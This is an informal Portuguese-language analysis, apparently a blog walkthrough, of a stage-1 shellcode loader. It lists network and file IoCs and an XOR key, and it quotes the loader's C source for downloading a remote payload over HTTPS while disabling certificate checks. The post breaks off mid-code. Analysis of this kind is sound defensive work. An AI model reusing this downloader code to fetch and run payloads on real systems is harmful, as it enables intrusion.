
Análise para o carregador de shellcode do estágio 1 de hacking
Fluxograma do código
IoC de rede
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC de infecção (arquivos dropados)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, então que diabos. Vamos nessa. Loader.sln ou loader.c
ok, então a inicialização e da inicialização para asm? o que acontece em asm? shellcode pic (position independent code). legal, e o que isso faz? basicamente vai chamar Loader(0xdeadbeef). Por quê?? não sei por que escolheram esse endereço, mas nesse endereço deveria estar o código desempacotado. de qualquer forma, vamos continuar e ver o que acontece no debugger. Correção: fazemos Loader(eax), e eax é um endereço IP com um arquivo .dat .png)
Agora, se seguirmos o fluxo, entramos no loader

Por enquanto vamos pular a LoadVtable, pois ela é ubíqua e grande, e retornaremos a ela depois de terminarmos de analisar o restante de suas capacidades. Agora vamos inspecionar DownloadAndDecryptTls.
DownloadAndDecryptTls

Agora, uma coisa interessante que notei durante a depuração.
É que, como você pode ver na imagem acima e no trecho a seguir
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
é que lpLoaderConfig é recuperado dinamicamente. mas de onde? bem, aparentemente ele baixa ou usa internamente aquele arquivo .dat? e o que é esse arquivo .dat. Inspecionando o arquivo
vemos outro arquivo legal, shellcode_0x95d. Se o inspecionarmos no hxd
você verá um monte de chamadas de API e aquela url. então basicamente este é o shellcode real :) maneiro, vamos dar uma olhada nele depois que terminarmos com isso.
Agora, apenas para depois, a xor key é 0x6281f17f. Agora, uma breve análise até o ponto de interesse ValidateCa. Até lá, nada realmente especial acontece nessa função; a coisa mais interessante é a chamada a InternetOpenA, que inicializa a dll para coisas de rede. Seria legal inspecioná-la dinamicamente para ver um truque que fizeram. Eles fazem isso em código C por
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
que é um argumento a menos para a API. De qualquer forma, chega de conversa, vamos ver o que acontece no código.
Então, no debugger, fica assim
Então, acho que o que acontece aqui é que, por usar INTERNET_OPEN_TYPE_PRECONFIG, ele usa a estrutura pré-configurada e lptable já tem a url nela.
De qualquer forma, em seguida temos ValidateCA
então, de qualquer forma, por que fazemos isso? porque simplesmente determina se quer fazer https ou http.
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Depois fazemos uma simples requisição GET e então baixamos o arquivo via http. Nada muito sofisticado aqui. Se você está se perguntando se há algo especial no código aqui, acho que não; provavelmente você pode encontrar exemplos na internet de como fazer isso. Como a função DownloadFile baixa arquivos? Usando InternetReadFileExA.
Então, de qualquer forma, aqui está o código
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);